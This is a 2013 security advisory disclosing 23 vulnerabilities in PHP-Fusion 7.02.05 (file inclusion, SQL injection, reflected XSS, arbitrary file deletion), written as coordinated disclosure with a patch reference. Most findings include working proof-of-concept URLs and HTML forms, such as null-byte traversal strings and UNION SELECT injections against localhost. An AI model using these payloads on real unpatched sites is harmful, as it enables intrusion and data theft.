PHP-Fusion 7.02.05 XSS / LFI / SQL Injection

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[waraxe-2013-SA#097] - Multiple Vulnerabilities in PHP-Fusion 7.02.05  
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Author: Janek Vind "waraxe"  
Date: 27. February 2013  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-97.html  
  
  
Description of vulnerable software:  
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PHP-Fusion is a light-weight open-source content management system (CMS)  
written in PHP 5. It utilises a MySQL database to store your site content and  
includes a simple, comprehensive administration system. PHP-Fusion includes the  
most common features you would expect to see in many other CMS packages.   
  
http://www.php-fusion.co.uk/news.php  
http://sourceforge.net/projects/php-fusion/  
  
Vulnerable is version 7.02.05 and possibly older versions.  
  
New, patched version 7.02.06 available here:  
  
http://www.php-fusion.co.uk/news.php?readmore=569  
http://www.php-fusion.co.uk/downloads.php?cat_id=23&download_id=264  
  
  
###############################################################################  
1. Local File Inclusion in "maincore.php"  
###############################################################################  
  
Reason: insufficient sanitization of user-supplied data  
Attack vector: user-supplied POST parameter "user_theme"  
Preconditions:  
1. Logged in as valid user  
2. "Allow users to change theme" option must be activated (it is by default)  
3. PHP must be < 5.3.4 for null-byte attacks to work  
  
PHP-Fusion users can edit their profile and by default there is possibility to  
change the theme. There is no sufficient sanitization of the POST parameter  
"user_theme":  
  
Php script "includes/user_fields/user_theme_include" line 41:  
------------------------[ source code start ]----------------------------------  
} elseif ($profile_method == "validate_insert" || $profile_method == "validate_update") {  
if ($settings['userthemes'] == 1 || iADMIN) {  
// Get input data  
if (isset($_POST['user_theme']) && $_POST['user_theme'] != "") {  
// Set update or insert user data  
$this->_setDBValue("user_theme", stripinput(trim($_POST['user_theme'])));  
------------------------[ source code end ]------------------------------------  
  
We can see, that user-supplied parameter "user_theme" goes through the  
function "stripinput()":  
  
Php script "maincore.php" line 332:  
------------------------[ source code start ]----------------------------------  
// Strip Input Function, prevents HTML in unwanted places  
function stripinput($text) {  
if (!is_array($text)) {  
$text = stripslash(trim($text));  
$text = preg_replace("/(&)+(?=\#([0-9]{2,3});)/i", "&", $text);  
$search = array("&", "\"", "'", "\\", '\"', "\'", "<", ">", "&nbsp;");  
$replace = array("&", """, "'", "\", """, "'", "<", ">", " ");  
$text = str_replace($search, $replace, $text);  
} else {  
foreach ($text as $key => $value) {  
$text[$key] = stripinput($value);  
}  
}  
return $text;  
}  
------------------------[ source code end ]------------------------------------  
  
This function works against XSS and SQL Injection attacks, but not against  
file inclusion attacks. Attacker can submit user theme value as one below:  
  
../images/avatars/waraxe.jpg\0z  
  
Directory traversal symbols "../" and null byte will pass through the  
function "stripinput()" and whole string will be saved to the database.  
All subsequent requests by attacker will use this malicious theme string  
and as result, previously uploaded avatar picture with PHP payload gets  
included and executed.  
  
Most front-end scripts start with this:  
------------------------[ source code start ]----------------------------------  
require_once "maincore.php";  
require_once THEMES."templates/header.php";  
------------------------[ source code end ]------------------------------------  
  
Php script "maincore.php" line 264:  
------------------------[ source code start ]----------------------------------  
// Set theme  
if (!theme_exists($userdata['user_theme'])) {  
...  
// Check that site or user theme exists  
function theme_exists($theme) {  
global $settings;  
...  
} elseif (file_exists(THEMES.$theme."/theme.php") && file_exists(THEMES.$theme."/styles.css")) {  
define("THEME", THEMES.$theme."/");  
------------------------[ source code end ]------------------------------------  
  
We can see, that malicious theme string from database will be used in theme path  
definition and later is used in "require_once".  
  
This security vulnerability was tested by using Burp Proxy and exploitation  
succeeded.  
  
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2. Local File Inclusion in "administration/user_fields.php"  
###############################################################################  
  
Reason: insufficient sanitization of user-supplied data  
Attack vector: user-supplied GET parameter "enable"  
Preconditions:  
1. Logged in as admin with user field administration privileges  
2. PHP must be < 5.3.4 for null-byte attacks to work  
  
  
Php script "administration/user_fields.php" line 84:  
------------------------[ source code start ]----------------------------------  
} elseif (isset($_GET['enable'])  
&& file_exists(INCLUDES."user_fields/".stripinput($_GET['enable'])."_include_var.php")  
&& file_exists(INCLUDES."user_fields/".stripinput($_GET['enable'])."_include.php")  
) {  
$user_field_api_version = "1.00.00";  
if (file_exists(LOCALE.LOCALESET."user_fields/".stripinput($_GET['enable']).".php")) {  
include LOCALE.LOCALESET."user_fields/".stripinput($_GET['enable']).".php";  
------------------------[ source code end ]------------------------------------  
  
Test (parameter "aid" needs to be valid):  
  
Upload avatar picture with PHP payload and then issue request:  
  
http://localhost/phpfusion70205/administration/user_fields.php?  
aid=e017e24eb00e8ccf&enable=../../images/avatars/waraxe.jpg%00z  
  
  
###############################################################################  
3. SQL Injection in "includes/classes/Authenticate.class.php"  
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Reason: insufficient sanitization of user-supplied data  
Attack vector: user-supplied HTTP cookie  
Preconditions:  
1. magic_quotes_gpc=off   
  
  
Php script "includes/classes/Authenticate.class.php" line 143:  
------------------------[ source code start ]----------------------------------  
// Validate authenticated user  
public static function validateAuthUser($userCookie = true) {  
  
if (isset($_COOKIE[COOKIE_USER]) && $_COOKIE[COOKIE_USER] != "") {  
$cookieDataArr = explode(".", $_COOKIE[COOKIE_USER]);  
  
if (count($cookieDataArr) == 3) {  
list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr;  
  
if ($cookieExpiration > time()) {  
$result = dbquery(  
"SELECT * FROM ".DB_USERS."  
WHERE user_id='".$userID."' AND user_status='0' AND user_actiontime='0'  
LIMIT 1"  
);  
------------------------[ source code end ]------------------------------------  
  
We can see, that user-supplied cookie will be exploded to three parts and  
first part, "userID" is used in SQL query without any sanitization, which  
leads to SQL Injection vulnerability.  
  
  
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4. SQL Injection in "downloads.php"  
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Reason: insufficient sanitization of user-supplied data  
Attack vector: user-supplied GET parameter "orderby"  
Preconditions:  
1. valid download category with at least one download  
  
Php script "downloads.php" line 111:  
------------------------[ source code start ]----------------------------------  
if (isset($_GET['orderby'])) {  
$order_by = stripinput($_GET['orderby']);  
...  
$result = dbquery(  
"SELECT td.download_id, td.download_user, td.download_datestamp,  
...  
ORDER BY ".($order_by == "" ? $cat_data['download_cat_sorting'] : $order_by." ".$sort)."  
------------------------[ source code end ]------------------------------------  
  
Tests:  
  
http://localhost/phpfusion70205/downloads.php?cat_id=1&orderby=waraxe  
  
"Unknown column 'waraxe' in 'order clause'"  
  
http://localhost/phpfusion70205/downloads.php?cat_id=1&orderby=IF(0,1,(SELECT+1+UNION+SELECT+2))  
  
Result: error message "Subquery returns more than 1 row"  
  
http://localhost/phpfusion70205/downloads.php?cat_id=1&orderby=IF(1,1,(SELECT+1+UNION+SELECT+2))  
  
Result: normal page  
  
  
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5. SQL Injection in "forum/postedit.php"  
###############################################################################  
  
Reason: insufficient sanitization of user-supplied data  
Attack vector: user-supplied POST parameter "delete_attach_*"  
Preconditions:  
1. Logged in as user with forum posting privileges  
2. magic_quotes_gpc=off  
  
  
Php script "forum/postedit.php" line 219:  
------------------------[ source code start ]----------------------------------  
foreach ($_POST as $key=>$value){  
if(!strstr($key, "delete_attach")) continue;  
$key = str_replace("delete_attach_", "", $key);  
$result = dbquery("SELECT * FROM ".DB_FORUM_ATTACHMENTS." WHERE post_id='".$_GET['post_id']."' and attach_id='$key'");  
------------------------[ source code end ]------------------------------------  
  
Test (parameters "forum_id", "thread_id" and "post_id" must be valid):  
  
-------------------------[ test code start ]-----------------------------------  
<html><body><center>  
<form action="http://localhost/phpfusion70205/forum/post.php?action=edit&forum_id=2&thread_id=1&post_id=1" method="post">  
<input type="hidden" name="savechanges" value="1">  
<input type="hidden" name="message" value="Testing">  
<input type="hidden" name="delete_attach_war'axe" value="1">  
<input type="submit" value="Test">  
</form>  
</center></body></html>  
--------------------------[ test code end ]------------------------------------  
  
Result (302 redirect makes it difficult to see SQL error, Burp Proxy will help):  
  
You have an error in your SQL syntax; check the manual that corresponds to your  
MySQL server version for the right syntax to use near 'axe'' at line 1  
  
  
###############################################################################  
6. SQL Injection in "forum/postnewthread.php"  
###############################################################################  
  
Reason: uninitialized variable "$poll_opts"  
Attack vector: user-supplied parameter "poll_opts"  
Preconditions:  
1. logged in as user with poll creation privileges  
2. available forum with poll creation abilities  
3. magic_quotes_gpc=off  
4. register_globals=on  
  
  
Php script "forum/postnewthread.php" line 126:  
------------------------[ source code start ]----------------------------------  
foreach ($poll_opts as $poll_option) {  
$result = dbquery("INSERT INTO ".DB_FORUM_POLL_OPTIONS." (thread_id,  
forum_poll_option_id, forum_poll_option_text, forum_poll_option_votes)  
VALUES('".$thread_id."', '".$i."', '".$poll_option."', '0')");  
$i++;  
}  
------------------------[ source code end ]------------------------------------  
  
Test (parameter "forum_id" must be valid):  
  
-------------------------[ test code start ]-----------------------------------  
<html><body><center>  
<form action="http://localhost/phpfusion70205/forum/post.php?action=newthread&forum_id=2" method="post">  
<input type="hidden" name="subject" value="Test subject">  
<input type="hidden" name="message" value="Test message">  
<input type="hidden" name="poll_title" value="Test poll">  
<input type="hidden" name="poll_opts[]" value="war'axe">  
<input type="hidden" name="postnewthread" value="1">  
<input type="submit" value="Test">  
</form>  
</center></body></html>  
--------------------------[ test code end ]------------------------------------  
  
Result (302 redirect makes it difficult to see SQL error, Burp Proxy will help):  
  
You have an error in your SQL syntax; check the manual that corresponds to your  
MySQL server version for the right syntax to use near 'axe', '0')' at line 1  
  
  
  
###############################################################################  
7. SQL Injection in "administration/settings_messages.php"  
###############################################################################  
  
Reason: insufficient sanitization of user-supplied data  
Attack vector: user-supplied POST parameters "pm_email_notify", "pm_save_sent",  
"pm_inbox", "pm_sentbox", "pm_savebox"  
Preconditions:  
1. logged in as admin with private message settings change privileges  
2. magic_quotes_gpc=off  
  
  
Php script "administration/settings_messages.php" line 38:  
------------------------[ source code start ]----------------------------------  
if (isset($_POST['saveoptions'])) {  
$error = 0;  
dbquery("UPDATE ".DB_MESSAGES_OPTIONS." SET  
pm_email_notify = '".$_POST['pm_email_notify']."',  
pm_save_sent = '".$_POST['pm_save_sent']."',  
pm_inbox = '".$_POST['pm_inbox']."',  
pm_sentbox = '".$_POST['pm_sentbox']."',  
pm_savebox = '".$_POST['pm_savebox']."'  
WHERE user_id='0'"  
);  
------------------------[ source code end ]------------------------------------  
  
  
###############################################################################  
8. SQL Injection in "administration/settings_photo.php"  
###############################################################################  
  
Reason: insufficient sanitization of user-supplied data  
Attack vector: user-supplied POST parameters "thumb_compression",  
"photo_watermark_text_color1", "photo_watermark_text_color2", "photo_watermark_text_color3"  
Preconditions:  
1. logged in as admin with photo gallery settings change privileges  
2. magic_quotes_gpc=off  
  
  
Php script "administration/settings_photo.php" line 100:  
------------------------[ source code start ]----------------------------------  
$result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value='".$_POST['thumb_compression']."'  
WHERE settings_name='thumb_compression'");  
...  
$result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value=  
'".(preg_match("/([0-9A-F]){6}/i",$_POST['photo_watermark_text_color1']) ?  
$_POST['photo_watermark_text_color1'] : "FF6600")."' WHERE settings_name='photo_watermark_text_color1'");  
if (!$result) { $error = 1; }  
$result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value=  
'".(preg_match("/([0-9A-F]){6}/i",$_POST['photo_watermark_text_color2']) ?  
$_POST['photo_watermark_text_color2'] : "FFFF00")."' WHERE settings_name='photo_watermark_text_color2'");  
if (!$result) { $error = 1; }  
$result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value='  
".(preg_match("/([0-9A-F]){6}/i",$_POST['photo_watermark_text_color3']) ?  
$_POST['photo_watermark_text_color3'] : "FFFFFF")."' WHERE settings_name='photo_watermark_text_color3'");  
------------------------[ source code end ]------------------------------------  
  
We can see, that user-supplied POST parameter "thumb_compression" is used in  
SQL query without any sanitization. Other three affected parameters  
"photo_watermark_text_color1", photo_watermark_text_color2", "photo_watermark_text_color1"  
are checked against regex, but this regex is flawed and does not stop SQL injection.  
Attacker can use "AABBCC'waraxe" and regex check is bypassed.  
Correct regex would be "/^([0-9A-F]){6}$/i".  
  
  
###############################################################################  
9. SQL Injection in "administration/bbcodes.php"  
###############################################################################  
  
Reason: insufficient sanitization of user-supplied data  
Attack vector: user-supplied GET parameter "enable"  
Preconditions:  
1. logged in as admin with BB Codes administration privileges  
2. magic_quotes_gpc=off  
3. PHP must be < 5.3.4 for null-byte attacks to work  
  
  
Php script "administration/bbcodes.php" line 49:  
------------------------[ source code start ]----------------------------------  
} elseif (isset($_GET['enable']) &&  
file_exists(INCLUDES."bbcodes/".$_GET['enable']."_bbcode_include_var.php") &&  
file_exists(INCLUDES."bbcodes/".$_GET['enable']."_bbcode_include.php")) {  
...  
$result = dbquery("INSERT INTO ".DB_BBCODES." (bbcode_name, bbcode_order)  
VALUES ('".$_GET['enable']."', '".$order."')");  
------------------------[ source code end ]------------------------------------  
  
We can see, that user-supplied GET parameter "enable" is used in SQL query  
without sufficient sanitization. There are two checks against valid filenames,  
but it's possible to use null byte method to bypass these checks.  
  
Test (parameter "aid" needs to be valid):  
  
http://localhost/phpfusion70205/administration/bbcodes.php?aid=c37dd1f4ea5686c5&enable=%00war'axe  
  
Result (302 redirect makes it difficult to see SQL error, Burp Proxy will help):  
  
You have an error in your SQL syntax; check the manual that corresponds to your  
MySQL server version for the right syntax to use near 'axe', '13')' at line 1  
  
  
###############################################################################  
10. SQL Injection in "administration/news.php" case 1  
###############################################################################  
  
Reason: insufficient sanitization of user-supplied data  
Attack vector: user-supplied POST parameters "news_image", "news_image_t1"  
and "news_image_t1"  
Preconditions:  
1. logged in as admin with news administration privileges  
2. magic_quotes_gpc=off  
  
  
Php script "administration/news.php" line 106:  
------------------------[ source code start ]----------------------------------  
$news_image = (isset($_POST['news_image']) ? $_POST['news_image'] : "");  
$news_image_t1 = (isset($_POST['news_image_t1']) ? $_POST['news_image_t1'] : "");  
$news_image_t2 = (isset($_POST['news_image_t2']) ? $_POST['news_image_t2'] : "");  
...  
$result = dbquery("UPDATE ".DB_NEWS." SET news_subject='$news_subject',   
news_cat='$news_cat', news_end='$news_end_date', news_image='$news_image',  
news_news='$body', news_extended='$body2', news_breaks='$news_breaks',  
".($news_start_date != 0 ? " news_datestamp='$news_start_date'," : "").  
" news_start='$news_start_date', news_image_t1='$news_image_t1', news_image_t2=  
'$news_image_t2', news_visibility='$news_visibility', news_draft='$news_draft',  
news_sticky='$news_sticky', news_allow_comments='$news_comments',   
news_allow_ratings='$news_ratings' WHERE news_id='".$_POST['news_id']."'");  
------------------------[ source code end ]------------------------------------  
  
Test (parameter "aid" needs to be valid):  
  
-------------------------[ test code start ]-----------------------------------  
<html><body><center>  
<form action="http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8" method="post">  
<input type="hidden" name="save" value="1">  
<input type="hidden" name="news_image" value="war'axe">  
<input type="hidden" name="news_image_t1" value="war'axe2">  
<input type="hidden" name="news_image_t2" value="war'axe3">  
<input type="submit" value="Test">  
</form>  
</center></body></html>  
--------------------------[ test code end ]------------------------------------  
  
Result (302 redirect makes it difficult to see SQL error, Burp Proxy will help):  
  
You have an error in your SQL syntax; check the manual that corresponds to your  
MySQL server version for the right syntax to use  
near 'axe', 'war'axe2', 'war'axe3', '0', '0', '0', '0', '0', '0')' at line 1  
  
  
###############################################################################  
11. SQL Injection in "administration/articles.php"  
###############################################################################  
  
Reason: insufficient sanitization of user-supplied data  
Attack vector: user-supplied POST parameter "article_id"  
Preconditions:  
1. Logged in as admin with articles administration privileges  
2. magic_quotes_gpc=off  
  
  
Php script "administration/articles.php" line :  
------------------------[ source code start ]----------------------------------  
if ((isset($_GET['action']) && $_GET['action'] == "edit") &&   
(isset($_POST['article_id']) && isnum($_POST['article_id'])) ||   
(isset($_GET['article_id']) && isnum($_GET['article_id']))) {  
$result = dbquery("SELECT article_cat, article_subject, article_snippet,  
article_article, article_draft, article_breaks, article_allow_comments,   
article_allow_ratings FROM ".DB_ARTICLES." WHERE   
article_id='".(isset($_POST['article_id']) ? $_POST['article_id'] : $_GET['article_id'])."'")  
------------------------[ source code end ]------------------------------------  
  
As seen above, user-supplied parameter "article_id" goes through validation  
before using in SQL query, but this validation has flawed logic. If we submit  
numeric GET parameter "article_id" and non-numeric malicious POST parameter  
with the same name, then first check will pass, because GET parameter  
is valid, but after that POST parameter is used in SQL query ...  
  
Test (parameter "aid" must be valid):  
  
-------------------------[ test code start ]-----------------------------------  
<html><body><center>  
<form action="http://localhost/phpfusion70205/administration/articles.php?aid=0ebd6f54040890e8&action=edit&article_id=123" method="post">  
<input type="hidden" name="article_id" value="0'UNION SELECT 1,@@version,3,4,5,6,7,'8">  
<input type="submit" value="Test">  
</form>  
</center></body></html>  
--------------------------[ test code end ]------------------------------------  
  
  
###############################################################################  
12. SQL Injection in "administration/news.php" case 2  
###############################################################################  
  
Reason: insufficient sanitization of user-supplied data  
Attack vector: user-supplied POST parameter "news_id"  
Preconditions:  
1. logged in as admin with news administration privileges  
2. magic_quotes_gpc=off  
  
This security vulnerability is similar to the previous case. User-supplied  
data verification exists, but it's not able to stop SQL injection due to flawed  
logic.  
  
Php script "administration/news.php" line 236:  
------------------------[ source code start ]----------------------------------  
if ((isset($_GET['action']) && $_GET['action'] == "edit") &&  
(isset($_POST['news_id']) && isnum($_POST['news_id'])) ||   
(isset($_GET['news_id']) && isnum($_GET['news_id']))) {  
$result = dbquery("SELECT news_subject, news_cat, news_news, news_extended,   
news_start, news_end, news_image, news_image_t1, news_image_t2, news_visibility,  
news_draft, news_sticky, news_breaks, news_allow_comments, news_allow_ratings  
FROM ".DB_NEWS." WHERE news_id='".(isset($_POST['news_id']) ? $_POST['news_id']  
: $_GET['news_id'])."' LIMIT 1");  
------------------------[ source code end ]------------------------------------  
  
Test (parameter "aid" needs to be valid):  
  
-------------------------[ test code start ]-----------------------------------  
<html><body><center>  
<form action="http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8&action=edit&news_id=123" method="post">  
<input type="hidden" name="news_id" value="0'UNION SELECT 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,'15">  
<input type="submit" value="Test">  
</form>  
</center></body></html>  
--------------------------[ test code end ]------------------------------------  
  
  
###############################################################################  
13. Reflected XSS in "forum/viewthread.php"  
###############################################################################  
  
Reason: insufficient sanitization of html output  
Attack vector: user-supplied GET parameter "highlight"  
Preconditions:  
1. there must exist at least one forum thread  
  
  
Php script "forum/viewthread.php" line 361:  
------------------------[ source code start ]----------------------------------  
// highlight jQuery plugin  
if (isset($_GET['highlight'])) {  
$words = explode(" ", urldecode($_GET['highlight']));  
$higlight = ""; $i = 1; $c_words = count($words);  
foreach ($words as $hlight) {  
$higlight .= "'".$hlight."'";  
$higlight .= ($i < $c_words ? "," : "");  
$i++;  
}  
add_to_head("<script type='text/javascript' src='".INCLUDES."jquery/jquery.highlight.js'></script>");  
$highlight_js .= "jQuery('.search_result').highlight([".$higlight."],{wordsOnly:true});";  
------------------------[ source code end ]------------------------------------  
  
Test (parameter "thread_id" must be valid):  
  
http://localhost/phpfusion70205/forum/viewthread.php?thread_id=20&highlight=%2527]);});alert(123);/*  
  
  
###############################################################################  
14. Reflected XSS in "messages.php"  
###############################################################################  
  
Reason:  
1. uninitialized variables "$user_list" and "$user_types"  
2. insufficient sanitization of html output  
Attack vector: user-supplied parameters "user_list", "user_types"  
Preconditions:  
1. logged in as user  
2. register_globals=on  
  
  
Php script "messages.php" line 482:  
------------------------[ source code start ]----------------------------------  
if ($_GET['msg_send'] == "0") {  
echo "<select name='msg_send' class='textbox'>\n".$user_list."</select>\n";  
------------------------[ source code end ]------------------------------------  
  
Test:  
  
-------------------------[ test code start ]-----------------------------------  
<html><body><center>  
<form action="http://localhost/phpfusion70205/messages.php?msg_send=0" method="post">  
<input type="hidden" name="chk_sendtoall" value="0">  
<input type="hidden" name="user_list" value="</select><script>alert(123);</script>">  
<input type="submit" value="Test">  
</form>  
</center></body></html>  
--------------------------[ test code end ]------------------------------------  
  
Similar problem is related to variable "$user_types", only in this case admin  
access level is needed:  
  
Php script "messages.php" line 490:  
------------------------[ source code start ]----------------------------------  
if (iADMIN && !isset($_GET['msg_id'])) {  
echo "<label><input name='chk_sendtoall' type='checkbox' ".$sendtoall_chk." />\n";  
echo "".$locale['434'].":</label> <select name='msg_to_group' class='textbox'>\n".$user_types."</select>\n";  
------------------------[ source code end ]------------------------------------  
  
  
###############################################################################  
15. Reflected XSS in "infusions/shoutbox_panel/shoutbox_admin.php"  
###############################################################################  
Reason:  
1. uninitialized variable "$message"  
2. insufficient sanitization of html output  
Attack vector: user-supplied parameter "message"  
Preconditions:  
1. logged in as admin with shoutbox administration privileges  
2. register_globals=on  
  
Php script "infusions/shoutbox_panel/shoutbox_admin.php" line 149:  
------------------------[ source code start ]----------------------------------  
if (isset($message) && $message != "") {  
echo "<div id='close-message'><div class='admin-message'>".$message."</div></div>\n"; }  
------------------------[ source code end ]------------------------------------  
  
Test (parameter "aid" needs to be valid):  
  
http://localhost/phpfusion70205/infusions/shoutbox_panel/shoutbox_admin.php?  
aid=e017e24eb00e8ccf&page=settings&message=<body+onload=alert(123);+  
  
  
###############################################################################  
16. Reflected XSS in "administration/news.php"  
###############################################################################  
Reason:  
1. uninitialized variable "$message"  
2. insufficient sanitization of html output  
Attack vector: user-supplied parameter "message"  
Preconditions:  
1. logged in as admin with news administration privileges  
2. register_globals=on  
  
Php script "administration/news.php" line 31:  
------------------------[ source code start ]----------------------------------  
if (isset($_GET['error']) && isnum($_GET['error'])) {  
if ($_GET['error'] == 1) {  
$message = $locale['413'];  
...  
if ($message) { echo "<div id='close-message'>  
<div class='admin-message'>".$message."</div></div>\n"; }  
}  
if (isset($_GET['status'])) {  
if ($_GET['status'] == "sn") {  
$message = $locale['410'];  
...  
if ($message) { echo "<div id='close-message'>  
<div class='admin-message'>".$message."</div></div>\n"; }  
}  
------------------------[ source code end ]------------------------------------  
  
Tests (parameter "aid" needs to be valid):  
  
http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8  
&error=9&message=<body+onload=alert(123);+  
  
http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8  
&status=1&message=<body+onload=alert(123);+  
  
  
###############################################################################  
17. Reflected XSS in "administration/panel_editor.php"  
###############################################################################  
  
Reason:  
1. uninitialized variable "$panel_list"  
2. insufficient sanitization of html output  
Attack vector: user-supplied parameter "panel_list"  
Preconditions:  
1. logged in as admin with panel editing privileges  
2. register_globals=on  
  
  
Php script "administration/panel_editor.php" line 32:  
------------------------[ source code start ]----------------------------------  
while ($folder = readdir($temp)) {  
if (!in_array($folder, array(".","..")) && strstr($folder, "_panel")) {  
if (is_dir(INFUSIONS.$folder)) $panel_list[] = $folder;  
}  
}  
...  
for ($i=0;$i < count($panel_list);$i++) {  
echo "<option".($panel_filename == $panel_list[$i] ?   
" selected='selected'" : "").">".$panel_list[$i]."</option>\n";  
  
------------------------[ source code end ]------------------------------------  
  
Test (parameter "aid" needs to be valid):  
  
-------------------------[ test code start ]-----------------------------------  
<html><body><center>  
<form action="http://localhost/phpfusion70205/administration/panel_editor.php?aid=e017e24eb00e8ccf" method="post">  
<input type="hidden" name="panel_list[]" value="<script>alert(123);</script>">  
<input type="submit" value="Test">  
</form>  
</center></body></html>  
--------------------------[ test code end ]------------------------------------  
  
  
###############################################################################  
18. Reflected XSS in "administration/phpinfo.php"  
###############################################################################  
  
Reason: insufficient sanitization of html output  
Attack vector: User-Agent string   
Preconditions:   
1. logged in as admin with php info view privileges  
  
Php script "administration/phpinfo.php" line 46:  
------------------------[ source code start ]----------------------------------  
$phpinfo .= "<tr>\n<td class='tbl2' style='width:20%'>".$locale['410']."</td>  
<td class='tbl1' style='text-align:right'>".$_SERVER['HTTP_USER_AGENT']."</td></tr>\n";  
------------------------[ source code end ]------------------------------------  
  
  
###############################################################################  
19. Reflected XSS in "administration/bbcodes.php"  
###############################################################################  
  
Reason:  
1. uninitialized variable "$__BBCODE__"  
2. insufficient sanitization of html output  
Attack vector: user-supplied parameter "__BBCODE__"  
Preconditions:  
1. logged in as admin with bbcode settings change privileges  
2. register_globals=on  
  
  
Php script "administration/bbcodes.php" line 141:  
------------------------[ source code start ]----------------------------------  
echo "<td class='$cls'>".$__BBCODE__[0]['description']."</td>\n";  
echo "<td class='$cls'>".$__BBCODE__[0]['usage']."</td>\n";  
------------------------[ source code end ]------------------------------------  
  
Test (parameter "aid" needs to be valid):  
  
http://localhost/phpfusion70205/administration/bbcodes.php?aid=693ec1754cc0b042  
&__BBCODE__[0][description]=<body+onload=alert(123);+  
  
http://localhost/phpfusion70205/administration/bbcodes.php?aid=693ec1754cc0b042  
&__BBCODE__[0][usage]=<body+onload=alert(123);+  
  
###############################################################################  
20. Reflected XSS in multiple admin scripts, affected parameter "errorMessage"  
###############################################################################  
  
Reason:  
1. uninitialized variables "$error" and "$errorMessage"  
2. insufficient sanitization of html output  
Attack vector: user-supplied parameters "error" and "errorMessage"  
Preconditions:  
1. logged in as admin with appropriate privileges  
2. register_globals=on  
  
  
Php script "administration/article_cats.php" line 110:  
------------------------[ source code start ]----------------------------------  
if (isset($error) && isnum($error)) {  
if ($error == 1) {  
$errorMessage = $locale['460'];  
} elseif ($error == 2) {  
$errorMessage = $locale['461'];  
}  
if ($errorMessage) { echo "<div id='close-message'>  
<div class='admin-message'>".$errorMessage."</div></div>\n"; }  
------------------------[ source code end ]------------------------------------  
  
The same vulnerability exists in four different admin scripts:  
  
1. administration/article_cats.php  
2. administration/download_cats.php  
3. administration/news_cats.php  
4. administration/weblink_cats.php  
  
Tests (parameter "aid" needs to be valid):  
  
http://localhost/phpfusion70205/administration/article_cats.php?  
aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+  
  
http://localhost/phpfusion70205/administration/download_cats.php?  
aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+  
  
http://localhost/phpfusion70205/administration/news_cats.php?  
aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+  
  
http://localhost/phpfusion70205/administration/weblink_cats.php?  
aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+  
  
  
###############################################################################  
21. Reflected XSS in "administration/articles.php"  
###############################################################################  
  
Reason: insufficient sanitization of html output  
Attack vector: user-supplied POST parameters "body" and "body2"  
Preconditions:  
1. logged in as admin with articles administration privileges  
  
  
Php script "administration/articles.php" line 70:  
------------------------[ source code start ]----------------------------------  
$bodypreview = str_replace("src='".str_replace("../", "", IMAGES_A),   
"src='".IMAGES_A, stripslash($_POST['body']));  
$body2preview = str_replace("src='".str_replace("../", "", IMAGES_A),   
"src='".IMAGES_A, stripslash($_POST['body2']));  
...  
echo $bodypreview."\n";  
...  
echo $body2preview."\n";  
------------------------[ source code end ]------------------------------------  
  
Test (parameter "aid" needs to be valid):  
  
-------------------------[ test code start ]-----------------------------------  
<html><body><center>  
<form action="http://localhost/phpfusion70205/administration/articles.php?aid=0ebd6f54040890e8" method="post">  
<input type="hidden" name="preview" value="1">  
<input type="hidden" name="body" value="<script>alert(123);</script>">  
<input type="hidden" name="body2" value="<script>alert(321);</script>">  
<input type="submit" value="Test">  
</form>  
</center></body></html>  
--------------------------[ test code end ]------------------------------------  
  
  
###############################################################################  
22. Arbitrary file deletion in "administration/db_backup.php"  
###############################################################################  
  
Reason: insufficient sanitization of user-supplied data  
Attack vector: user-supplied POST parameter "file"  
Preconditions:  
1. logged in as admin with database backup privileges  
  
  
Php script "administration/db_backup.php" line 130:  
------------------------[ source code start ]----------------------------------  
if (isset($_POST['btn_cancel'])) {  
@unlink(ADMIN."db_backups/".$_POST['file']);  
redirect(FUSION_SELF.$aidlink);  
}  
------------------------[ source code end ]------------------------------------  
  
As we can see, user-supplied POST parameter "file" is used in php function  
"unlink()" without any sanitization. It's possible to use directory traversal  
strings "../" and delete arbitrary files on the target system.  
  
  
###############################################################################  
23. Insecure database backup file handling in "administration/db_backup.php"  
###############################################################################  
  
PHP-Fusion admin with Database Backup privileges can use "Database Restore"  
feature. First step is database backup file upload:  
  
Php script "administration/db_backup.php" line 186:  
------------------------[ source code start ]----------------------------------  
} elseif (isset($_GET['action']) && $_GET['action'] == "restore") {  
if (is_uploaded_file($_FILES['upload_backup_file']['tmp_name'])) {  
$temp_rand = rand(1000000, 9999999);  
$temp_hash = substr(md5($temp_rand), 8, 8);  
$file = "temp_".$temp_rand.".txt";  
$backup_name = $_FILES['upload_backup_file']['name'];  
move_uploaded_file($_FILES['upload_backup_file']['tmp_name'], ADMIN."db_backups/".$file);  
------------------------[ source code end ]------------------------------------  
  
As we can see, uploaded file will be moved to "db_backups" directory.  
Two problems exist with that:  
  
1. There is no access restrictions to this directory. Anyone can access uploaded  
database backup files directly, given that filename is known:  
  
http://localhost/phpfusion70205/administration/db_backups/temp_4973205.txt  
  
2. Database backup's filename is suppose to be random, but there is only about  
9 million possible filenames. Such weak filename randomness makes it possible  
to try bruteforce guessing.  
  
Uploaded files are usually deleted within short timeframe, but may be left  
intact for indefinite time period, if admin does not complete operation and  
does not access database backup script again. In this case filename bruteforce  
may be realistic and as result sensitive data leakage from database may occur  
(hashed admin credentials for example).  
  
Possible solutions:  
1. .htaccess file restricting directory access  
2. better filename randomness  
  
  
Disclosure timeline:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
27.09.2012 -> Contacted developers  
27.09.2012 -> Developer asked for details  
28.09.2012 -> Sent details to developers  
27.01.2013 -> Patched version 7.02.06 released  
27.02.2013 -> Advisory released  
  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
[email protected]  
Janek Vind "waraxe"  
  
Waraxe forum: http://www.waraxe.us/forums.html  
Personal homepage: http://www.janekvind.com/  
Random project: http://albumnow.com/  
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